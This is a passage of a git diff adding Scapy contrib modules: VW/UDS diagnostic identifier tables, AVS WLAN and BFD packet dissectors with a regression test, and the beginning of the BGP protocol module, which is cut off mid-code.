+UDS_RDBI.dataIdentifiers[0xef90] = "Secure_hardware_extension_status" +UDS_RDBI.dataIdentifiers[0xf15a] = "Fingerprint" +UDS_RDBI.dataIdentifiers[0xf15b] = "Fingerprint And Programming Date Of Logical Software Blocks" +UDS_RDBI.dataIdentifiers[0xf17c] = "VW FAZIT Identification String" +UDS_RDBI.dataIdentifiers[0xf186] = "Active Diagnostic Session" +UDS_RDBI.dataIdentifiers[0xf187] = "VW Spare Part Number" +UDS_RDBI.dataIdentifiers[0xf189] = "VW Application Software Version Number" +UDS_RDBI.dataIdentifiers[0xf18a] = "System Supplier Identifier" +UDS_RDBI.dataIdentifiers[0xf18c] = "ECU Serial Number" +UDS_RDBI.dataIdentifiers[0xf190] = "Vehicle Identification Number" +UDS_RDBI.dataIdentifiers[0xf191] = "VW ECU Hardware Number" +UDS_RDBI.dataIdentifiers[0xf192] = "System Supplier ECU Hardware Number" +UDS_RDBI.dataIdentifiers[0xf193] = "System Supplier ECU Hardware Version Number" +UDS_RDBI.dataIdentifiers[0xf194] = "System Supplier ECU Software Number" +UDS_RDBI.dataIdentifiers[0xf195] = "System Supplier ECU Software Version Number" +UDS_RDBI.dataIdentifiers[0xf197] = "VW System Name Or Engine Type" +UDS_RDBI.dataIdentifiers[0xf19e] = "ASAM ODX File Identifier" +UDS_RDBI.dataIdentifiers[0xf1a0] = "VW Data Set Number Or ECU Data Container Number" +UDS_RDBI.dataIdentifiers[0xf1a1] = "VW Data Set Version Number" +UDS_RDBI.dataIdentifiers[0xf1a2] = "ASAM ODX File Version" +UDS_RDBI.dataIdentifiers[0xf1a3] = "VW ECU Hardware Version Number" +UDS_RDBI.dataIdentifiers[0xf1aa] = "VW Workshop System Name" +UDS_RDBI.dataIdentifiers[0xf1ab] = "VW Logical Software Block Version" +UDS_RDBI.dataIdentifiers[0xf1ad] = "Engine Code Letters" +UDS_RDBI.dataIdentifiers[0xf1af] = "AUTOSAR_standard_application_software_identification" +UDS_RDBI.dataIdentifiers[0xf1b0] = "VWClear_diagnostic_information_date_functional" +UDS_RDBI.dataIdentifiers[0xf1b1] = "VW_Application_data_set_identification" +UDS_RDBI.dataIdentifiers[0xf1b2] = "Function_software_identification" +UDS_RDBI.dataIdentifiers[0xf1b3] = "VW_Data_set_name" +UDS_RDBI.dataIdentifiers[0xf1b5] = "Busmaster_description" +UDS_RDBI.dataIdentifiers[0xf1b6] = "System_identification" +UDS_RDBI.dataIdentifiers[0xf1b7] = "Gateway_component_list_ECU_node_address" +UDS_RDBI.dataIdentifiers[0xf1d5] = "FDS_project_data" +UDS_RDBI.dataIdentifiers[0xf1df] = "ECU Programming Information" + + +UDS_RC.routineControlTypes[0x0202] = "Check Memory" +UDS_RC.routineControlTypes[0x0203] = "Check Programming Preconditions" +UDS_RC.routineControlTypes[0x0317] = "Reset of Adaption Values" +UDS_RC.routineControlTypes[0x0366] = "Reset of all Adaptions" +UDS_RC.routineControlTypes[0x03e7] = "Reset to Factory Settings" +UDS_RC.routineControlTypes[0x045a] = "Clear user defined DTC information" +UDS_RC.routineControlTypes[0x0544] = "Verify partial software checksum" +UDS_RC.routineControlTypes[0x0594] = "Check upload preconditions" +UDS_RC.routineControlTypes[0xff00] = "Erase Memory" +UDS_RC.routineControlTypes[0xff01] = "Check Programming Dependencies" + + +UDS_RD.dataFormatIdentifiers[0x0000] = "Uncompressed" +UDS_RD.dataFormatIdentifiers[0x0001] = "Compression Method 1" +UDS_RD.dataFormatIdentifiers[0x0002] = "Compression Method 2" +UDS_RD.dataFormatIdentifiers[0x0003] = "Compression Method 3" +UDS_RD.dataFormatIdentifiers[0x0004] = "Compression Method 4" +UDS_RD.dataFormatIdentifiers[0x0005] = "Compression Method 5" +UDS_RD.dataFormatIdentifiers[0x0006] = "Compression Method 6" +UDS_RD.dataFormatIdentifiers[0x0007] = "Compression Method 7" +UDS_RD.dataFormatIdentifiers[0x0008] = "Compression Method 8" +UDS_RD.dataFormatIdentifiers[0x0009] = "Compression Method 9" +UDS_RD.dataFormatIdentifiers[0x000a] = "Compression Method 10" +UDS_RD.dataFormatIdentifiers[0x000b] = "Compression Method 11" +UDS_RD.dataFormatIdentifiers[0x000c] = "Compression Method 12" +UDS_RD.dataFormatIdentifiers[0x000d] = "Compression Method 13" +UDS_RD.dataFormatIdentifiers[0x000e] = "Compression Method 14" +UDS_RD.dataFormatIdentifiers[0x000f] = "Compression Method 15" diff --git a/libs/scapy/contrib/avs.py b/libs/scapy/contrib/avs.py new file mode 100755 index 0000000..072680f --- /dev/null +++ b/libs/scapy/contrib/avs.py @@ -0,0 +1,71 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = AVS WLAN Monitor Header +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers +from scapy.fields import IntEnumField, IntField, LongField, SignedIntField +from scapy.layers.dot11 import Dot11 +from scapy.data import DLT_IEEE802_11_RADIO_AVS +from scapy.config import conf + +AVSWLANPhyType = {0: "Unknown", + 1: "FHSS 802.11 '97", + 2: "DSSS 802.11 '97", + 3: "IR Baseband", + 4: "DSSS 802.11b", + 5: "PBCC 802.11b", + 6: "OFDM 802.11g", + 7: "PBCC 802.11g", + 8: "OFDM 802.11a"} + +AVSWLANEncodingType = {0: "Unknown", + 1: "CCK", + 2: "PBCC", + 3: "OFDM"} + +AVSWLANSSIType = {0: "None", + 1: "Normalized RSSI", + 2: "dBm", + 3: "Raw RSSI"} + +AVSWLANPreambleType = {0: "Unknown", + 1: "Short", + 2: "Long"} + + +class AVSWLANHeader(Packet): + """ iwpriv eth1 set_prismhdr 1 """ + name = "AVS WLAN Monitor Header" + fields_desc = [IntField("version", 1), + IntField("len", 64), + LongField("mactime", 0), + LongField("hosttime", 0), + IntEnumField("phytype", 0, AVSWLANPhyType), + IntField("channel", 0), + IntField("datarate", 0), + IntField("antenna", 0), + IntField("priority", 0), + IntEnumField("ssi_type", 0, AVSWLANSSIType), + SignedIntField("ssi_signal", 0), + SignedIntField("ssi_noise", 0), + IntEnumField("preamble", 0, AVSWLANPreambleType), + IntEnumField("encoding", 0, AVSWLANEncodingType), + ] + + +conf.l2types.register(DLT_IEEE802_11_RADIO_AVS, AVSWLANHeader) + +bind_layers(AVSWLANHeader, Dot11) diff --git a/libs/scapy/contrib/avs.uts b/libs/scapy/contrib/avs.uts new file mode 100755 index 0000000..3f53cba --- /dev/null +++ b/libs/scapy/contrib/avs.uts @@ -0,0 +1,19 @@ +% Regression tests for the avs module + ++ Basic AVS test + += Default build, storage and dissection + +pkt = AVSWLANHeader()/Dot11()/Dot11Auth() +_filepath = get_temp_file(autoext=".pcap") +wrpcap(_filepath, pkt) +pkt1 = rdpcap(_filepath)[0] +assert raw(pkt) == raw(pkt1) +assert AVSWLANHeader in pkt +assert Dot11 in pkt +assert Dot11Auth in pkt + +try: + os.remove(_filepath) +except Exception: + pass diff --git a/libs/scapy/contrib/bfd.py b/libs/scapy/contrib/bfd.py new file mode 100755 index 0000000..dacc83e --- /dev/null +++ b/libs/scapy/contrib/bfd.py @@ -0,0 +1,42 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Parag Bhide +# This program is published under GPLv2 license + +""" +BFD - Bidirectional Forwarding Detection - RFC 5880, 5881 +""" + +# scapy.contrib.description = BFD +# scapy.contrib.status = loads + +from scapy.packet import Packet, bind_layers, bind_bottom_up +from scapy.fields import BitField, FlagsField, XByteField +from scapy.layers.inet import UDP + + +class BFD(Packet): + name = "BFD" + fields_desc = [ + BitField("version", 1, 3), + BitField("diag", 0, 5), + BitField("sta", 3, 2), + FlagsField("flags", 0x00, 6, ['P', 'F', 'C', 'A', 'D', 'M']), + XByteField("detect_mult", 0x03), + XByteField("len", 24), + BitField("my_discriminator", 0x11111111, 32), + BitField("your_discriminator", 0x22222222, 32), + BitField("min_tx_interval", 1000000000, 32), + BitField("min_rx_interval", 1000000000, 32), + BitField("echo_rx_interval", 1000000000, 32)] + + def mysummary(self): + return self.sprintf( + "BFD (my_disc=%BFD.my_discriminator%," + "your_disc=%BFD.my_discriminator%)" + ) + + +bind_bottom_up(UDP, BFD, dport=3784) +bind_bottom_up(UDP, BFD, sport=3784) +bind_layers(UDP, BFD, sport=3784, dport=3784) diff --git a/libs/scapy/contrib/bgp.py b/libs/scapy/contrib/bgp.py new file mode 100755 index 0000000..70586ac --- /dev/null +++ b/libs/scapy/contrib/bgp.py @@ -0,0 +1,2524 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = BGP v0.1 +# scapy.contrib.status = loads + +""" +BGP (Border Gateway Protocol). +""" + +from __future__ import absolute_import +import struct +import re +import socket + +from scapy import pton_ntop +from scapy.packet import Packet, Packet_metaclass, bind_layers +from scapy.fields import (Field, BitField, BitEnumField, XBitField, ByteField, + ByteEnumField, ShortField, ShortEnumField, IntField, + IntEnumField, LongField, IEEEFloatField, StrField, + StrLenField, StrFixedLenField, FieldLenField, + FieldListField, PacketField, PacketListField, + IPField, FlagsField, ConditionalField, + MultiEnumField) +from scapy.layers.inet import TCP +from scapy.layers.inet6 import IP6Field +from scapy.config import conf, ConfClass +from scapy.compat import orb, chb +from scapy.error import log_runtime +import scapy.modules.six as six + + +# +# Module configuration +# + + +class BGPConf(ConfClass): + """ + BGP module configuration. + """ + + # By default, set to True in order to behave like an OLD speaker (RFC 6793) + use_2_bytes_asn = True + + +bgp_module_conf = BGPConf() + + +# +# Constants +# + +# RFC 4271: "The maximum message size is 4096 octets. All implementations are +# required to support this maximum message size." +BGP_MAXIMUM_MESSAGE_SIZE = 4096 + +# RFC 4271: "Each message has a fixed-size header." Marker (16 bytes) + +# Length (2 bytes) + Type (1 byte) +_BGP_HEADER_SIZE = 19 + +# Marker included in every message (RFC 4271: "This 16-octet field is +# included for compatibility; it MUST be set to all ones") +_BGP_HEADER_MARKER = b"\xff" * 16 + +# extended-length flag (RFC 4271 4.3. UPDATE Message Format - +# Path Attributes) +_BGP_PA_EXTENDED_LENGTH = 0x10 + +# RFC 5492 (at least 2 bytes : code + length) +_BGP_CAPABILITY_MIN_SIZE = 2 + +# RFC 5492 (at least 3 bytes : type code + length) +_BGP_PATH_ATTRIBUTE_MIN_SIZE = 3 + + +# +# Fields and utilities +# + +def _bits_to_bytes_len(length_in_bits): + """ + Helper function that returns the numbers of bytes necessary to store the + given number of bits. + """ + + return (length_in_bits + 7) // 8 + + +class BGPFieldIPv4(Field): + """ + IPv4 Field (CIDR) + """ + + def mask2iplen(self, mask): + """Get the IP field mask length (in bytes).""" + return (mask + 7) // 8 + + def h2i(self, pkt, h): + """x.x.x.x/y to "internal" representation.""" + ip, mask = re.split("/", h) + return int(mask), ip + + def i2h(self, pkt, i): + """"Internal" representation to "human" representation + (x.x.x.x/y).""" + mask, ip = i + return ip + "/" + str(mask) + + def i2repr(self, pkt, i): + return self.i2h(pkt, i) + + def i2len(self, pkt, i): + mask, ip = i + return self.mask2iplen(mask) + 1 + + def i2m(self, pkt, i): + """"Internal" (IP as bytes, mask as int) to "machine" + representation.""" + mask, ip = i + ip = socket.inet_aton(ip) + return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + length = self.mask2iplen(orb(s[0])) + 1 + return s[length:], self.m2i(pkt, s[:length]) + + def m2i(self, pkt, m): + mask = orb(m[0]) + mask2iplen_res = self.mask2iplen(mask) + ip = b"".join(m[i + 1:i + 2] if i < mask2iplen_res else b"\x00" for i in range(4)) # noqa: E501 + return (mask, socket.inet_ntoa(ip)) + + +class BGPFieldIPv6(Field): + """IPv6 Field (CIDR)""" + + def mask2iplen(self, mask): + """Get the IP field mask length (in bytes).""" + return (mask + 7) // 8 + + def h2i(self, pkt, h): + """x.x.x.x/y to internal representation.""" + ip, mask = re.split("/", h) + return int(mask), ip + + def i2h(self, pkt, i): + """"Internal" representation to "human" representation.""" + mask, ip = i + return ip + "/" + str(mask) + + def i2repr(self, pkt, i): + return self.i2h(pkt, i) + + def i2len(self, pkt, i): + mask, ip = i + return self.mask2iplen(mask) + 1 + + def i2m(self, pkt, i): + """"Internal" (IP as bytes, mask as int) to "machine" representation.""" # noqa: E501 + mask, ip = i + ip = pton_ntop.inet_pton(socket.AF_INET6, ip) + return struct.pack(">B", mask) + ip[:self.mask2iplen(mask)] + + def addfield(self, pkt, s, val): + return s + self.i2m(pkt, val) + + def getfield(self, pkt, s): + length = self.mask2iplen(orb(s[0])) + 1 + return s[length:], self.m2i(pkt, s[:length]) + + def m2i(self, pkt, m): + mask = orb(m[0]) + ip = b"".join(m[i + 1:i + 2] if i < self.mask2iplen(mask) else b"\x00" for i in range(16)) # noqa: E501 + return (mask, pton_ntop.inet_ntop(socket.AF_INET6, ip)) + + +def has_extended_length(flags): + """ + Used in BGPPathAttr to check if the extended-length flag is + set. + """ + + return flags & _BGP_PA_EXTENDED_LENGTH == _BGP_PA_EXTENDED_LENGTH + + +class BGPNLRI_IPv4(Packet): + """ + Packet handling IPv4 NLRI fields. + """ + + name = "IPv4 NLRI" + fields_desc = [BGPFieldIPv4("prefix", "0.0.0.0/0")] + + +class BGPNLRI_IPv6(Packet): + """ + Packet handling IPv6 NLRI fields. + """ + + name = "IPv6 NLRI" + fields_desc = [BGPFieldIPv6("prefix", "::/0")] + + +class BGPNLRIPacketListField(PacketListField): + """ + PacketListField handling NLRI fields. + """ + + def getfield(self, pkt, s): + lst = [] + length = None + ret = b"" + + if self.length_from is not None: + length = self.length_from(pkt) + + if length is not None: + remain, ret = s[:length], s[length:] + else: + index = s.find(_BGP_HEADER_MARKER) + if index != -1: + remain = s[:index] + ret = s[index:] + else: + remain = s + + while remain: + mask_length_in_bits = orb(remain[0]) + mask_length_in_bytes = (mask_length_in_bits + 7) // 8 + current = remain[:mask_length_in_bytes + 1] + remain = remain[mask_length_in_bytes + 1:] + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain + ret, lst + + +class _BGPInvalidDataException(Exception): + """ + Raised when it is not possible to instantiate a BGP packet with the given + data. + """ + + def __init__(self, details): + Exception.__init__( + self, + "Impossible to build packet from the given data" + details + ) + + +def _get_cls(name, fallback_cls=conf.raw_layer): + """ + Returns class named "name" if it exists, fallback_cls otherwise. + """ + + return globals().get(name, fallback_cls) + + +# +# Common dictionaries +# + +_bgp_message_types = { + 0: "NONE", + 1: "OPEN", + 2: "UPDATE", + 3: "NOTIFICATION", + 4: "KEEPALIVE", + 5: "ROUTE-REFRESH" +} + + +# +# AFIs +# + +address_family_identifiers = { + 0: "Reserved", + 1: "IP (IP version 4)", + 2: "IP6 (IP version 6)", + 3: "NSAP", + 4: "HDLC (8-bit multidrop)", + 5: "BBN 1822", + 6: "802 (includes all 802 media plus Ethernet \"canonical format\")", + 7: "E.163", + 8: "E.164 (SMDS, Frame Relay, ATM)", + 9: "F.69 (Telex)", + 10: "X.121 (X.25, Frame Relay)", + 11: "IPX", + 12: "Appletalk", + 13: "Decnet IV", + 14: "Banyan Vines", + 15: "E.164 with NSAP format subaddress", # ANDY_MALIS + 16: "DNS (Domain Name System)", + 17: "Distinguished Name", # CHARLES_LYNN + 18: "AS Number", # CHARLES_LYNN + 19: "XTP over IP version 4", # MIKE_SAUL + 20: "XTP over IP version 6", # MIKE_SAUL + 21: "XTP native mode XTP", # MIKE_SAUL + 22: "Fibre Channel World-Wide Port Name", # MARK_BAKKE + 23: "Fibre Channel World-Wide Node Name", # MARK_BAKKE + 24: "GWID", # SUBRA_HEGDE + 25: "AFI for L2VPN information", # RFC 6074 + 26: "MPLS-TP Section Endpoint Identifier", # RFC 7212 + 27: "MPLS-TP LSP Endpoint Identifier", # RFC 7212 + 28: "MPLS-TP Pseudowire Endpoint Identifier", # RFC 7212 + 29: "MT IP: Multi-Topology IP version 4", # RFC 7307 + 30: "MT IPv6: Multi-Topology IP version 6", # RFC 7307 + 16384: "EIGRP Common Service Family", # DONNIE_SAVAGE + 16385: "EIGRP IPv4 Service Family", # DONNIE_SAVAGE + 16386: "EIGRP IPv6 Service Family", # DONNIE_SAVAGE + 16387: "LISP Canonical Address Format (LCAF)", # DAVID_MEYER + 16388: "BGP-LS", # RFC 7752 + 16389: "48-bit MAC", # RFC 7042 + 16390: "64-bit MAC", # RFC 7042 + 16391: "OUI", # draft-ietf-trill-ia-appsubtlv + 16392: "MAC/24", # draft-ietf-trill-ia-appsubtlv + 16393: "MAC/40", # draft-ietf-trill-ia-appsubtlv + 16394: "IPv6/64", # draft-ietf-trill-ia-appsubtlv + 16395: "RBridge Port ID", # draft-ietf-trill-ia-appsubtlv + 16396: "TRILL Nickname", # RFC 7455 + 65535: "Reserved" +} + + +subsequent_afis = { + 0: "Reserved", # RFC 4760 + 1: "Network Layer Reachability Information used for unicast forwarding", # RFC 4760 # noqa: E501 + 2: "Network Layer Reachability Information used for multicast forwarding", # RFC 4760 # noqa: E501 + 3: "Reserved", # RFC 4760 + 4: "Network Layer Reachability Information (NLRI) with MPLS Labels", # RFC 3107 # noqa: E501 + 5: "MCAST-VPN", # RFC 6514 + 6: "Network Layer Reachability Information used for Dynamic Placement of\ + Multi-Segment Pseudowires", # RFC 7267 + 7: "Encapsulation SAFI", # RFC 5512 + 8: "MCAST-VPLS", # RFC 7117 + 64: "Tunnel SAFI", # DRAFT-NALAWADE-KAPOOR-TUNNEL-SAFI-01 + 65: "Virtual Private LAN Service (VPLS)", # RFC 6074 + 66: "BGP MDT SAFI", # RFC 6037 + 67: "BGP 4over6 SAFI", # RFC 5747 + 68: "BGP 6over4 SAFI", # YONG_CUI + 69: "Layer-1 VPN auto-discovery information", # RFC 5195 + 70: "BGP EVPNs", # RFC 7432 + 71: "BGP-LS", # RFC 7752 + 72: "BGP-LS-VPN", # RFC 7752 + 128: "MPLS-labeled VPN address", # RFC 4364 + 129: "Multicast for BGP/MPLS IP Virtual Private Networks (VPNs)", # RFC 6514 # noqa: E501 + 132: "Route Target constraint", # RFC 4684 + 133: "IPv4 dissemination of flow specification rules", # RFC 5575 + 134: "VPNv4 dissemination of flow specification rules", # RFC 5575 + 140: "VPN auto-discovery", # draft-ietf-l3vpn-bgpvpn-auto + 255: "Reserved" # RFC 4760 +} + + +# Used by _bgp_dispatcher to instantiate the appropriate class +_bgp_cls_by_type = { + 1: "BGPOpen", + 2: "BGPUpdate", + 3: "BGPNotification", + 4: "BGPKeepAlive", + 5: "BGPRouteRefresh", +} + + +# +# Header +# + +class BGPHeader(Packet): + """ + The header of any BGP message. + References: RFC 4271 + """ + + name = "HEADER" + fields_desc = [ + XBitField( + "marker", + 0xffffffffffffffffffffffffffffffff, + 0x80 + ), + ShortField("len", None), + ByteEnumField("type", 4, _bgp_message_types) + ] + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right class for the given data. + """ + + return _bgp_dispatcher(_pkt) + + def post_build(self, p, pay): + if self.len is None: + length = len(p) + if pay: + length = length + len(pay) + p = p[:16] + struct.pack("!H", length) + p[18:] + return p + pay + + def guess_payload_class(self, payload): + return _get_cls(_bgp_cls_by_type.get(self.type, conf.raw_layer), conf.raw_layer) # noqa: E501 + + +def _bgp_dispatcher(payload): + """ + Returns the right class for a given BGP message. + """ + + cls = conf.raw_layer + + # By default, calling BGP() will build a BGPHeader. + if payload is None: + cls = _get_cls("BGPHeader", conf.raw_layer) + + else: + if len(payload) >= _BGP_HEADER_SIZE and\ + payload[:16] == _BGP_HEADER_MARKER: + + # Get BGP message type + message_type = orb(payload[18]) + if message_type == 4: + cls = _get_cls("BGPKeepAlive") + else: + cls = _get_cls("BGPHeader") + + return cls + + +class BGP(Packet): + """ + Every BGP message inherits from this class. + """ + + # + # BGP messages types + + OPEN_TYPE = 1 + UPDATE_TYPE = 2 + NOTIFICATION_TYPE = 3 + KEEPALIVE_TYPE = 4 + ROUTEREFRESH_TYPE = 5 + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right class for the given data. + """ + + return _bgp_dispatcher(_pkt) + + def guess_payload_class(self, p): + cls = None + if len(p) > 15 and p[:16] == _BGP_HEADER_MARKER: + cls = BGPHeader + return cls + + +# +# KEEPALIVE +# + +class BGPKeepAlive(BGP, BGPHeader): + + """ + KEEPALIVE message. + """ + + name = "KEEPALIVE" + + +# +# OPEN +# + +# +# Optional Parameters Codes +# + +optional_parameter_codes = { + 0: "Reserved", + 1: "Authentication (deprecated)", + 2: "Capabilities" +} + + +# +# Capabilities +# + +_capabilities = { + 0: "Reserved", # RFC 5492 + 1: "Multiprotocol Extensions for BGP-4", # RFC 2858 + 2: "Route Refresh Capability for BGP-4", # RFC 2918 + 3: "Outbound Route Filtering Capability", # RFC 5291 + 4: "Multiple routes to a destination capability", # RFC 3107 + 5: "Extended Next Hop Encoding", # RFC 5549 + 6: "BGP-Extended Message", # (TEMPORARY - registered 2015-09-30, expires 2016-09-30), # noqa: E501 + # draft-ietf-idr-bgp-extended-messages + 64: "Graceful Restart Capability", # RFC 4724 + 65: "Support for 4-octet AS number capability", # RFC 6793 + 66: "Deprecated (2003-03-06)", + 67: "Support for Dynamic Capability (capability specific)", # draft-ietf-idr-dynamic-cap # noqa: E501 + 68: "Multisession BGP Capability", # draft-ietf-idr-bgp-multisession + 69: "ADD-PATH Capability", # RFC-ietf-idr-add-paths-15 + 70: "Enhanced Route Refresh Capability", # RFC 7313 + 71: "Long-Lived Graceful Restart (LLGR) Capability", # draft-uttaro-idr-bgp-persistence # noqa: E501 + 73: "FQDN Capability", # draft-walton-bgp-hostname-capability + 128: "Route Refresh Capability for BGP-4 (Cisco)", # Cisco also uses 128 for RR capability # noqa: E501 + 130: "Outbound Route Filtering Capability (Cisco)", # Cisco also uses 130 for ORF capability # noqa: E501 +} + + +_capabilities_objects = { + 0x01: "BGPCapMultiprotocol", # RFC 2858 + 0x02: "BGPCapGeneric", # RFC 2918 + 0x03: "BGPCapORF", # RFC 5291 + 0x40: "BGPCapGracefulRestart", # RFC 4724 + 0x41: "BGPCapFourBytesASN", # RFC 4893 + 0x46: "BGPCapGeneric", # Enhanced Route Refresh Capability, RFC 7313 + 0x82: "BGPCapORF", # ORF / RFC 5291 (Cisco) +} + + +def _register_cls(registry, cls): + registry[cls.__name__] = cls + return cls + + +_capabilities_registry = {} + + +def _bgp_capability_dispatcher(payload): + """ + Returns the right class for a given BGP capability. + """ + + cls = _capabilities_registry["BGPCapGeneric"] + + # By default, calling BGPCapability() will build a "generic" capability. + if payload is None: + cls = _capabilities_registry["BGPCapGeneric"] + + else: + length = len(payload) + if length >= _BGP_CAPABILITY_MIN_SIZE: + code = orb(payload[0]) + cls = _get_cls(_capabilities_objects.get(code, "BGPCapGeneric")) + + return cls + + +class _BGPCap_metaclass(type): + def __new__(cls, clsname, bases, attrs): + newclass = super(_BGPCap_metaclass, cls).__new__( + cls, clsname, bases, attrs) + _register_cls(_capabilities_registry, newclass) + return newclass + + +class _BGPCapability_metaclass(Packet_metaclass, _BGPCap_metaclass): + pass + + +class BGPCapability(six.with_metaclass(_BGPCapability_metaclass, Packet)): + """ + Generic BGP capability. + """ + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + """ + Returns the right class for the given data. + """ + + return _bgp_capability_dispatcher(_pkt) + + def pre_dissect(self, s): + """ + Check that the payload is long enough (at least 2 bytes). + """ + length = len(s) + if length < _BGP_CAPABILITY_MIN_SIZE: + err = " ({}".format(length) + " is < _BGP_CAPABILITY_MIN_SIZE " + err += "({})).".format(_BGP_CAPABILITY_MIN_SIZE) + raise _BGPInvalidDataException(err) + return s + + def post_build(self, p, pay): + length = 0 + if self.length is None: + # capability packet length - capability code (1 byte) - + # capability length (1 byte) + length = len(p) - 2 + p = p[:1] + chb(length) + p[2:] + return p + pay + + +class BGPCapGeneric(BGPCapability): + """ + This class provides an implementation of a generic capability. + """ + + name = "BGP Capability" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 0, _capabilities), + FieldLenField("length", None, fmt="B", length_of="cap_data"), + StrLenField("cap_data", '', + length_from=lambda p: p.length, max_length=255), + ] + + +# +# Multiprotocol Extensions for BGP-4 +# + +class BGPCapMultiprotocol(BGPCapability): + """ + This class provides an implementation of the Multiprotocol + capability. + References: RFC 4760 + """ + + name = "Multiprotocol Extensions for BGP-4" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 1, _capabilities), + ByteField("length", 4), + ShortEnumField("afi", 0, address_family_identifiers), + ByteField("reserved", 0), + ByteEnumField("safi", 0, subsequent_afis) + ] + + +# +# Outbound Route Filtering Capability for BGP-4 +# + +_orf_types = { + 0: "Reserved", # RFC 5291 + 64: "Address Prefix ORF", # RFC 5292 + 65: "CP-ORF", # RFC 7543 +} + + +send_receive_values = { + 1: "receive", + 2: "send", + 3: "receive + send" +} + + +class BGPCapORFBlock(Packet): + """ + The "ORFBlock" is made of entries. + """ + + class ORFTuple(Packet): + """ + Packet handling tuples. + """ + + # (ORF Type (1 octet) / Send/Receive (1 octet)) .... + name = "ORF Type" + fields_desc = [ + ByteEnumField("orf_type", 0, _orf_types), + ByteEnumField("send_receive", 0, send_receive_values) + ] + + name = "ORF Capability Entry" + fields_desc = [ + ShortEnumField("afi", 0, address_family_identifiers), + ByteField("reserved", 0), + ByteEnumField("safi", 0, subsequent_afis), + FieldLenField( + "orf_number", + None, + count_of="entries", + fmt="!B" + ), + PacketListField( + "entries", + [], + ORFTuple, + count_from=lambda p: p.orf_number + ) + ] + + def post_build(self, p, pay): + count = None + if self.orf_number is None: + count = len(self.entries) # orf_type (1 byte) + send_receive (1 byte) # noqa: E501 + p = p[:4] + struct.pack("!B", count) + p[5:] + return p + pay + + +class BGPCapORFBlockPacketListField(PacketListField): + """ + Handles lists of BGPCapORFBlocks. + """ + + def getfield(self, pkt, s): + lst = [] + length = None + + if self.length_from is not None: + length = self.length_from(pkt) + remain = s + if length is not None: + remain = s[:length] + + while remain: + # block length: afi (2 bytes) + reserved (1 byte) + safi (1 byte) + + # orf_number (1 byte) + entries (2 bytes * orf_number) + orf_number = orb(remain[4]) + entries_length = orf_number * 2 + current = remain[:5 + entries_length] + remain = remain[5 + entries_length:] + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain, lst + + +class BGPCapORF(BGPCapability): + """ + This class provides an implementation of the Outbound Route Filtering + capability. + References: RFC 5291 + """ + + name = "Outbound Route Filtering Capability" + match_subclass = True + fields_desc = [ + ByteEnumField("code", 3, _capabilities), + ByteField("length", None), + BGPCapORFBlockPacketListField( + "orf", + [], + BGPCapORFBlock, + length_from=lambda p: p.length + ) + ] + + +# +# Graceful Restart capability +# + +gr_address_family_flags = { + 128: "Forwarding state preserved (0x80: F bit set)" +} + + +class BGPCapGracefulRestart(BGPCapability): + """ + This class provides an implementation of the Graceful Restart + capability. + References: RFC 4724 + """ + + class GRTuple(Packet): + + """Tuple """ + name = "" + fields_desc = [ShortEnumField("afi", 0, address_family_identifiers), + ByteEnumField("safi", 0, subsequent_afis), + ByteEnumField("flags", 0, gr_address_family_flags)] + + name = "Graceful Restart Capability" + match_subclass = True + fields_desc = [ByteEnumField("code", 64, _capabilities), + ByteField("length", None), + BitField("restart_flags", 0, 4), + BitField("restart_time", 0, 12), + PacketListField("entries", [], GRTuple)] + + +# +# Support for 4-octet AS number capability +# + +class BGPCapFourBytesASN(BGPCapability): + """ + This class provides an implementation of the 4-octet AS number + capability. + References: RFC 4893 + """ + + name = "Support for 4-octet AS number capability" + match_subclass = True + fields_desc = [ByteEnumField("code", 65, _capabilities), + ByteField("length", 4), + IntField("asn", 0)] + + +# +# Authentication Information optional parameter. +# + +class BGPAuthenticationInformation(Packet): + + """ + Provides an implementation of the Authentication Information optional + parameter, which is now obsolete. + References: RFC 1771, RFC 1654, RFC 4271 + """ + + name = "BGP Authentication Data" + fields_desc = [ByteField("authentication_code", 0), + StrField("authentication_data", None)] + + +# +# Optional Parameter. +# + + +class BGPOptParamPacketListField(PacketListField): + """ + PacketListField handling the optional parameters (OPEN message). + """ + + def getfield(self, pkt, s): + lst = [] + + length = 0 + if self.length_from is not None: + length = self.length_from(pkt) + remain = s + if length is not None: + remain, ret = s[:length], s[length:] + + while remain: + param_len = orb(remain[1]) # Get param length + current = remain[:2 + param_len] + remain = remain[2 + param_len:] + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain + ret, lst + + +class BGPOptParam(Packet): + """ + Provides an implementation the OPEN message optional parameters. + References: RFC 4271 + """ + + name = "Optional parameter" + fields_desc = [ + ByteEnumField("param_type", 2, optional_parameter_codes), + ByteField("param_length", None), + ConditionalField( + PacketField( + "param_value", + None, + BGPCapability + ), + lambda p: p.param_type == 2 + ), + # It"s obsolete, but one can use it provided that + # param_type == 1. + ConditionalField( + PacketField( + "authentication_data", + None, + BGPAuthenticationInformation + ), + lambda p: p.param_type == 1 + ) + ] + + def post_build(self, p, pay): + length = None + packet = p + if self.param_length is None: + if self.param_value is None and 